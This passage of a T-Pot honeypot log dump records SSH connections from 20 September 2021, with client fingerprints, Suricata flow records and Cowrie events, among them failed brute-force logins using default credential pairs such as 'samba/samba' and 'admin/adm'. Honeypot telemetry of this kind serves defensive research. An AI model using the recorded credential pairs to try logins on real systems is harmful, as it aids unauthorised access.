"hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8e5aded853ca", "@version": "1", "timestamp": "2021-09-20T11:10:48.490843Z", "@timestamp": "2021-09-20T11:10:48.490Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25828	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:10:48.962239+03	2021-09-20 14:15:12.487646+03	{"_id": "vgbmAnwBvYTbRNuEvxxg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 824551784596803, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 48208, "dest_port": 22, "timestamp": "2021-09-20T11:10:48.962239Z", "@timestamp": "2021-09-20T11:10:48.962Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25829	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:10:46.248209+03	2021-09-20 14:15:12.488646+03	{"_id": "mQbmAnwBvYTbRNuEtxyQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1865196590440051, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 7149, "dest_port": 22, "timestamp": "2021-09-20T11:10:46.248209Z", "@timestamp": "2021-09-20T11:10:46.248Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25830	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:10:46.294659+03	2021-09-20 14:15:12.489645+03	{"_id": "nQbmAnwBvYTbRNuEuByq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 52948, "dest_port": 22, "timestamp": "2021-09-20T11:10:46.294659", "@timestamp": "2021-09-20T11:10:46.294Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25836	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:48.18751+03	2021-09-20 14:15:12.497645+03	{"_id": "pAbmAnwBvYTbRNuEvRwj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:7394 (192.168.176.2:22) [session: 8e5aded853ca]", "session": "8e5aded853ca", "@version": "1", "protocol": "ssh", "src_port": 7394, "dest_port": 22, "timestamp": "2021-09-20T11:10:48.187510Z", "@timestamp": "2021-09-20T11:10:48.187Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25831	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:10:46.498365+03	2021-09-20 14:15:12.491645+03	{"_id": "nwbmAnwBvYTbRNuEuByq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 55272, "dest_port": 22, "timestamp": "2021-09-20T11:10:46.498365", "@timestamp": "2021-09-20T11:10:46.498Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25832	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:46.294846+03	2021-09-20 14:15:12.492644+03	{"_id": "oAbmAnwBvYTbRNuEuByq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52948, "timestamp": "2021-09-20T11:10:46.294846", "@timestamp": "2021-09-20T11:10:46.294Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25833	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:46.690666+03	2021-09-20 14:15:12.493644+03	{"_id": "oQbmAnwBvYTbRNuEuRxD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "4e67687fbf55", "@version": "1", "duration": 4.458225965499878, "timestamp": "2021-09-20T11:10:46.690666Z", "@timestamp": "2021-09-20T11:10:46.690Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25834	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:46.819427+03	2021-09-20 14:15:12.494644+03	{"_id": "ogbmAnwBvYTbRNuEuRxD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "60608c06aa9d", "@version": "1", "duration": 3.010972499847412, "timestamp": "2021-09-20T11:10:46.819427Z", "@timestamp": "2021-09-20T11:10:46.819Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25835	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:47.213652+03	2021-09-20 14:15:12.495645+03	{"_id": "owbmAnwBvYTbRNuEuRxD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [samba/samba] failed", "session": "ddfbe5f37749", "@version": "1", "password": "samba", "username": "samba", "timestamp": "2021-09-20T11:10:47.213652Z", "@timestamp": "2021-09-20T11:10:47.213Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25852	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:53.113829+03	2021-09-20 14:15:12.519644+03	{"_id": "GAbmAnwBvYTbRNuE0B2z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/adm] failed", "session": "41d400a16496", "@version": "1", "password": "adm", "username": "admin", "timestamp": "2021-09-20T11:10:53.113829Z", "@timestamp": "2021-09-20T11:10:53.113Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25837	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:10:48.850674+03	2021-09-20 14:15:12.498646+03	{"_id": "wQbmAnwBvYTbRNuEvxxg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 159373019608521, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41782, "dest_port": 22, "timestamp": "2021-09-20T11:10:48.850674Z", "@timestamp": "2021-09-20T11:10:48.850Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25838	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:10:48.850942+03	2021-09-20 14:15:12.499645+03	{"_id": "xgbmAnwBvYTbRNuEwBx8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": 